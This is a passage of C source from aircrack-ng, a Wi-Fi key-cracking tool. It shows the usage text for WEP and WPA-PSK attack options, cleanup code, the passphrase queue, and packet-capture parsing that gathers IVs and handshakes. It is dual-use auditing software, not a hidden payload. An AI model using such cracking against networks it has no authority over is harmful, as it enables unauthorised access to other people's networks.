t_dictup; /* next dictionary total read */ long long int nb_kprev; /* last # of keys tried */ long long int nb_tried; /* total # of keys tried */ /* IPC global data */ unsigned char *buffer = NULL; /* from read_thread */ struct AP_info *ap_1st; /* first item in linked list */ pthread_mutex_t mx_apl; /* lock write access to ap LL */ pthread_mutex_t mx_eof; /* lock write access to nb_eof */ pthread_mutex_t mx_ivb; /* lock access to ivbuf array */ pthread_mutex_t mx_dic; /* lock access to opt.dict */ pthread_cond_t cv_eof; /* read EOF condition variable */ int nb_eof = 0; /* # of threads who reached eof */ long nb_pkt = 0; /* # of packets read so far */ int mc_pipe[256][2]; /* master->child control pipe */ int cm_pipe[256][2]; /* child->master results pipe */ int bf_pipe[256][2]; /* bruteforcer 'queue' pipe */ int bf_nkeys[256]; unsigned char bf_wepkey[64]; int wepkey_crack_success = 0; int close_aircrack = 0; int id=0; pthread_t tid[MAX_THREADS]; struct WPA_data wpa_data[MAX_THREADS]; int wpa_wordlists_done = 0; static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER; #define GOT_IV 0x00000001 #define USE_IV 0x00000002 #define K01_IV 0x00000010 #define K02_IV 0x00000020 #define K03_IV 0x00000040 #define K04_IV 0x00000080 #define K05_IV 0x00000100 #define K06_IV 0x00000200 #define K07_IV 0x00000400 #define K08_IV 0x00000800 #define K09_IV 0x00001000 #define K10_IV 0x00002000 #define K11_IV 0x00004000 #define K12_IV 0x00008000 #define K13_IV 0x00010000 #define K14_IV 0x00020000 #define K15_IV 0x00040000 #define K16_IV 0x00080000 #define K17_IV 0x00100000 typedef struct { int off1; int off2; void *buf1; void *buf2; } read_buf; read_buf rb, crb; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; const unsigned char R[256] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 , 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 , 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60 , 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80 , 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100 , 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116 , 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132 , 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148 , 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164 , 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180 , 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196 , 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212 , 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228 , 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244 , 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255 }; char usage[] = "\n" " %s - (C) 2006-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aircrack-ng [options] <.cap / .ivs file(s)>\n" "\n" " Common options:\n" "\n" " -a : force attack mode (1/WEP, 2/WPA-PSK)\n" " -e : target selection: network identifier\n" " -b : target selection: access point's MAC\n" " -p : # of CPU to use (default: all CPUs)\n" " -q : enable quiet mode (no status output)\n" " -C : merge the given APs to a virtual one\n" " -l : write key to file\n" "\n" " Static WEP cracking options:\n" "\n" " -c : search alpha-numeric characters only\n" " -t : search binary coded decimal chr only\n" " -h : search the numeric key for Fritz!BOX\n" " -d : use masking of the key (A1:XX:CF:YY)\n" " -m : MAC address to filter usable packets\n" " -n : WEP key length : 64/128/152/256/512\n" " -i : WEP key index (1 to 4), default: any\n" " -f : bruteforce fudge factor, default: 2\n" " -k : disable one attack method (1 to 17)\n" " -x or -x0 : disable bruteforce for last keybytes\n" " -x1 : last keybyte bruteforcing (default)\n" " -x2 : enable last 2 keybytes bruteforcing" "%s" " -y : experimental single bruteforce mode\n" " -K : use only old KoreK attacks (pre-PTW)\n" " -s : show the key in ASCII while cracking\n" " -M : specify maximum number of IVs to use\n" " -D : WEP decloak, skips broken keystreams\n" " -P : PTW debug: 1: disable Klein, 2: PTW\n" " -1 : run only 1 try to crack key with PTW\n" "\n" " WEP and WPA-PSK cracking options:\n" "\n" " -w : path to wordlist(s) filename(s)\n" "\n" " WPA-PSK options:\n" "\n" " -E : create EWSA Project file v3\n" " -J : create Hashcat Capture file\n" " -S : WPA cracking speed test\n" #ifdef HAVE_SQLITE " -r : path to airolib-ng database\n" " (Cannot be used with -w)\n" #endif "\n" " Other options:\n" "\n" " -u : Displays # of CPUs & MMX/SSE support\n" " --help : Displays this usage screen\n" "\n"; char * progname = NULL; int intr_read = 0; int safe_write( int fd, void *buf, size_t len ); void clean_exit(int ret) { struct AP_info *ap_cur; struct AP_info *ap_prv; struct AP_info *ap_next; struct ST_info *st_tmp; int i=0; // int j=0, k=0, attack=0; int child_pid; char tmpbuf[128]; memset(tmpbuf, 0, 128); if(ret && !opt.is_quiet) { printf("\nQuitting aircrack-ng...\n"); fflush(stdout); } close_aircrack = 1; for( i = 0; i < opt.nbcpu; i++ ) { #ifdef CYGWIN close( mc_pipe[i][1] ); close( bf_pipe[i][1] ); #else safe_write( mc_pipe[i][1], (void *) "EXIT\r", 5 ); safe_write( bf_pipe[i][1], (void *) tmpbuf, 64 ); #endif } for (i = 0; i < id; i++) { if (pthread_join(tid[i], NULL) != 0) { // printf("Can't join thread %d\n", i); } } #ifndef OLD_SSE_CORE for (i = 0; i < MAX_THREADS; i++) free_ssecore(i); #endif if (opt.totaldicts) { for (i = 0; i < opt.totaldicts; i++) { if (opt.dicts[i] != NULL) { free(opt.dicts[i]); opt.dicts[i] = NULL; } } } if (rb.buf1 != NULL) { free(rb.buf1); rb.buf1=NULL; } if (rb.buf2 != NULL) { free(rb.buf2); rb.buf2=NULL; } if (crb.buf1 != NULL) { free(crb.buf1); crb.buf1=NULL; } if (crb.buf2 != NULL) { free(crb.buf2); crb.buf2=NULL; } if (buffer != NULL) { free(buffer); buffer = NULL; } if(wep.ivbuf != NULL) { free(wep.ivbuf); wep.ivbuf = NULL; } ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->ivbuf != NULL ) { free(ap_cur->ivbuf); ap_cur->ivbuf = NULL; } while (ap_cur->st_1st != NULL) { st_tmp = ap_cur->st_1st; ap_cur->st_1st = ap_cur->st_1st->next; free(st_tmp); st_tmp = NULL; } uniqueiv_wipe( ap_cur->uiv_root ); ap_cur->uiv_root = NULL; if( ap_cur->ptw_clean != NULL ) { if( ap_cur->ptw_clean->allsessions != NULL ) { free(ap_cur->ptw_clean->allsessions); ap_cur->ptw_clean->allsessions=NULL; } free(ap_cur->ptw_clean); ap_cur->ptw_clean = NULL; } if( ap_cur->ptw_vague != NULL ) { if( ap_cur->ptw_vague->allsessions != NULL ) { free(ap_cur->ptw_vague->allsessions); ap_cur->ptw_vague->allsessions = NULL; } free(ap_cur->ptw_vague); ap_cur->ptw_vague = NULL; } ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { ap_next = ap_cur; ap_cur = ap_cur->next; free(ap_next); ap_next = NULL; } ap_prv = NULL; // attack = A_s5_1; // printf("Please wait for evaluation...\n"); // for(i=0; i<(256*256*256); i++) // { // if((all_ivs[i].used & GOT_IV) && !(all_ivs[i].used & USE_IV)) // j++; // // if((all_ivs[i].used & GOT_IV) && (all_ivs[i].used & (1<<(attack+4)) ) ) // { // printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)), ((i&0xFFFF)/(256)), (i&0xFF), attack); // k++; // } // } // // printf("%d unused IVs\n", j); // printf("%d used IVs for %d\n", k, attack); if (progname != NULL) { free(progname); progname = NULL; } child_pid=fork(); if(child_pid==-1) { /* do error stuff here */ } if(child_pid!=0) { /* The parent process exits here. */ exit(0); } _exit(ret); } void sighandler( int signum ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif #if !defined(__CYGWIN__) // We can't call this on cygwin or we will sometimes end up // having all our threads die with exit code 35584 fairly reproducable // at around 2.5-3% of runs signal( signum, sighandler ); #endif if( signum == SIGQUIT ) clean_exit( SUCCESS ); // _exit( SUCCESS ); if( signum == SIGTERM ) clean_exit( FAILURE ); // _exit( FAILURE ); if( signum == SIGINT ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) clean_exit( FAILURE ); // _exit( FAILURE ); #else /* if(intr_read > 0)*/ clean_exit( FAILURE ); /* else intr_read++;*/ #endif } if( signum == SIGWINCH ) printf( "\33[2J\n" ); } void eof_wait( int *eof_notified ) { if( *eof_notified == 0 ) { *eof_notified = 1; /* tell the master thread we reached EOF */ pthread_mutex_lock( &mx_eof ); nb_eof++; pthread_cond_broadcast( &cv_eof ); pthread_mutex_unlock( &mx_eof ); } usleep( 100000 ); } int wpa_send_passphrase(char *key, struct WPA_data* data, int lock); inline int wpa_send_passphrase(char *key, struct WPA_data* data, int lock) { int delta = 0, i = 0, fincnt = 0; off_t tmpword = 0; pthread_mutex_lock(&data->mutex); if (!opt.dictfinish) { delta = chrono(&t_dictup, 0); if ((int)delta >= 2) { for (; i < opt.totaldicts; i++) { if (opt.dictidx[i].loaded) { fincnt++; continue; } if (opt.dictidx[i].dictsize > READBUF_BLKSIZE) { tmpword = (long double)linecount(opt.dicts[i], opt.dictidx[i].dictpos, 32); opt.dictidx[i].wordcount+= tmpword; opt.wordcount += tmpword; opt.dictidx[i].dictpos += (READBUF_BLKSIZE*32); if (opt.dictidx[i].dictpos >= opt.dictidx[i].dictsize) opt.dictidx[i].loaded = 1; // Only process a chunk then come back later for more. break; } } if (fincnt == opt.totaldicts) opt.dictfinish = 1; else delta = chrono(&t_dictup, 1); } } if ((data->back+1) % data->nkeys == data->front) { if (lock != 0) { // wait until there's room in the queue pthread_cond_wait(&data->cond, &data->mutex); } else { pthread_mutex_unlock(&data->mutex); return 0; // full queue! } } // put one key in the buffer: memcpy(data->key_buffer + data->back*128, key, 128); data->back = (data->back+1) % data->nkeys; pthread_mutex_unlock(&data->mutex); return 1; } int wpa_receive_passphrase(char *key, struct WPA_data* data); inline int wpa_receive_passphrase(char *key, struct WPA_data* data) { pthread_mutex_lock(&data->mutex); if (data->front==data->back) { pthread_mutex_unlock(&data->mutex); return 0; // empty queue! } // get one key from the buffer: memcpy(key, data->key_buffer + data->front*128, 128); data->front = (data->front+1) % data->nkeys; // signal that there's now room in the queue for more keys pthread_cond_signal(&data->cond); pthread_mutex_unlock(&data->mutex); return 1; } /* Returns number of BSSIDs. Return value is negative for failures */ int checkbssids(char *bssidlist) { int first = 1; int failed = 0; int i = 0; char *list, *frontlist, *tmp; int nbBSSID = 0; if(bssidlist == NULL) return -1; #define IS_X(x) ((x) == 'X' || (x) == 'x') #define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt(x) > -1) #define VALID_SEP(arg) ( ((arg) == '_') || ((arg) == '-') || ((arg) == ':') ) frontlist = list = strdup(bssidlist); do { tmp = strsep(&list, ","); if (tmp == NULL) break; ++nbBSSID; if(strlen(tmp) != 17) failed = 1; //first byte if(!VALID_CHAR(tmp[ 0])) failed = 1; if(!VALID_CHAR(tmp[ 1])) failed = 1; if(!VALID_SEP( tmp[ 2])) failed = 1; //second byte if(!VALID_CHAR(tmp[ 3])) failed = 1; if(!VALID_CHAR(tmp[ 4])) failed = 1; if(!VALID_SEP( tmp[ 5])) failed = 1; //third byte if(!VALID_CHAR(tmp[ 6])) failed = 1; if(!VALID_CHAR(tmp[ 7])) failed = 1; if(!VALID_SEP( tmp[ 8])) failed = 1; //fourth byte if(!VALID_CHAR(tmp[ 9])) failed = 1; if(!VALID_CHAR(tmp[10])) failed = 1; if(!VALID_SEP( tmp[11])) failed = 1; //fifth byte if(!VALID_CHAR(tmp[12])) failed = 1; if(!VALID_CHAR(tmp[13])) failed = 1; if(!VALID_SEP( tmp[14])) failed = 1; //sixth byte if(!VALID_CHAR(tmp[15])) failed = 1; if(!VALID_CHAR(tmp[16])) failed = 1; if(failed) { free(frontlist); return -1; } if(first) { for(i=0; i< 17; i++) { if( IS_X(tmp[i])) { free(frontlist); return -1; } } opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char)); if (opt.firstbssid == NULL){ free(frontlist); return -1; } getmac(tmp, 1, opt.firstbssid); first = 0; } } while(list); // Success free(frontlist); return nbBSSID; } int mergebssids(char * bssidlist, unsigned char * bssid) { struct mergeBSSID * list_prev; struct mergeBSSID * list_cur; char * mac = NULL; char * list = NULL; char * tmp = NULL; char * tmp2 = NULL; int next, i, found; // Do not convert if equal to first bssid if (memcmp(opt.firstbssid, bssid, 6) == 0) return 1; list_prev = NULL; list_cur = opt.bssid_list_1st; while (list_cur != NULL) { if (memcmp(list_cur->bssid, bssid, 6) == 0) { if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); return list_cur->convert; } list_prev = list_cur; list_cur = list_cur->next; } // Not found, check if it has to be converted mac = (char *) malloc(18); if (!mac) { perror( "malloc failed" ); return -1; } snprintf(mac, 18, "%02X:%02X:%02X:%02X:%02X:%02X", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); mac[17] = 0; tmp2 = list = strdup(bssidlist); // skip first element (because it doesn't have to be converted // It already has the good value tmp = strsep(&list, ","); next = found = 0; do { next=0; tmp = strsep(&list, ","); if (tmp == NULL) break; // Length already checked, no need to check it again for( i = 0; i < 17; ++i) { if((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue; if(toupper((int)tmp[i]) != (int)mac[i]) { // Not found next = 1; break; } } if(next == 0) { found = 1; break; } } while (list); // Free memory if(mac != NULL) free(mac); if(tmp2 != NULL) free(tmp2); // Add the result to the list list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID)); if (!list_cur) { perror( "malloc failed" ); return -1; } list_cur->convert = found; list_cur->next = NULL; memcpy(list_cur->bssid, bssid, 6); if (opt.bssid_list_1st == NULL) opt.bssid_list_1st = list_cur; else list_prev->next = list_cur; // Do not forget to convert if it was successful if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); #undef VALID_CHAR #undef VALID_SEP #undef IS_X return list_cur->convert; } /* fread isn't atomic, sadly */ int atomic_read( read_buf *rb, int fd, int len, void *buf ) { int n; if( close_aircrack ) return( CLOSE_IT ); if( rb->buf1 == NULL ) { rb->buf1 = malloc( 65536 ); rb->buf2 = malloc( 65536 ); if( rb->buf1 == NULL || rb->buf2 == NULL ) return( 0 ); rb->off1 = 0; rb->off2 = 0; } if( len > 65536 - rb->off1 ) { rb->off2 -= rb->off1; memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 ); memcpy( rb->buf1, rb->buf2, rb->off2 ); rb->off1 = 0; } if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } else { n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 ); if( n <= 0 ) return( 0 ); rb->off2 += n; if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } } return( 0 ); } void read_thread( void *arg ) { int fd, n, fmt; unsigned z; int eof_notified = 0; // int ret=0; unsigned char bssid[6]; unsigned char dest[6]; unsigned char stmac[6]; unsigned char *h80211; unsigned char *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; signal( SIGINT, sighandler); memset( &rb, 0, sizeof( rb ) ); ap_cur = NULL; memset(&pfh, 0, sizeof(struct pcap_file_header)); if( ( buffer = (unsigned char *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &rb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &rb, fd, 20, (unsigned char *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (unsigned char *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if( close_aircrack ) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &rb, fd, 1, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &rb, fd, 5, bssid + 1 ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } while( ! atomic_read( &rb, fd, 5, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &rb, fd, 6, bssid ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; ivs2.len -= 6; } while( ! atomic_read( &rb, fd, ivs2.len, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else { while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); eof_wait( &eof_notified ); _exit( FAILURE ); } while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( bssid, opt.bssid, 6 ) != 0 ) goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; // Shortcut to set encryption: // - WEP is 2 for 'crypt' and 1 for 'amode'. // - WPA is 3 for 'crypt' and 2 for 'amode'. if (opt.forced_amode) ap_cur->crypt = opt.amode + 1; if (opt.do_ptw == 1) { ap_cur->ptw_clean = PTW_newattackstate(); if (!ap_cur->ptw_clean) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } ap_cur->ptw_vague = PTW_newattackstate(); if (!ap_cur->ptw_vague) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } } } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (unsigned char *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { memcpy( ap_cur->essid, buffer, ivs2.len); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; if (PTW_addsession(ap_cur->ptw_clean, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_clean++; if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[4]; buffer[4] = buffer[5]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (unsigned char *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; // all_ivs[256*256*buffer[0] + 256*buffer[1] + buffer[2]].used |= GOT_IV; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; memcpy(weight, buffer+clearsize-15*sizeof(int), 16*sizeof(int)); // printf("weight 1: %d, weight 2: %d\n", weight[0], weight[1]); if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+6, weight, buffer[4])) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[6]; buffer[4] = buffer[7]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (unsigned char *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] 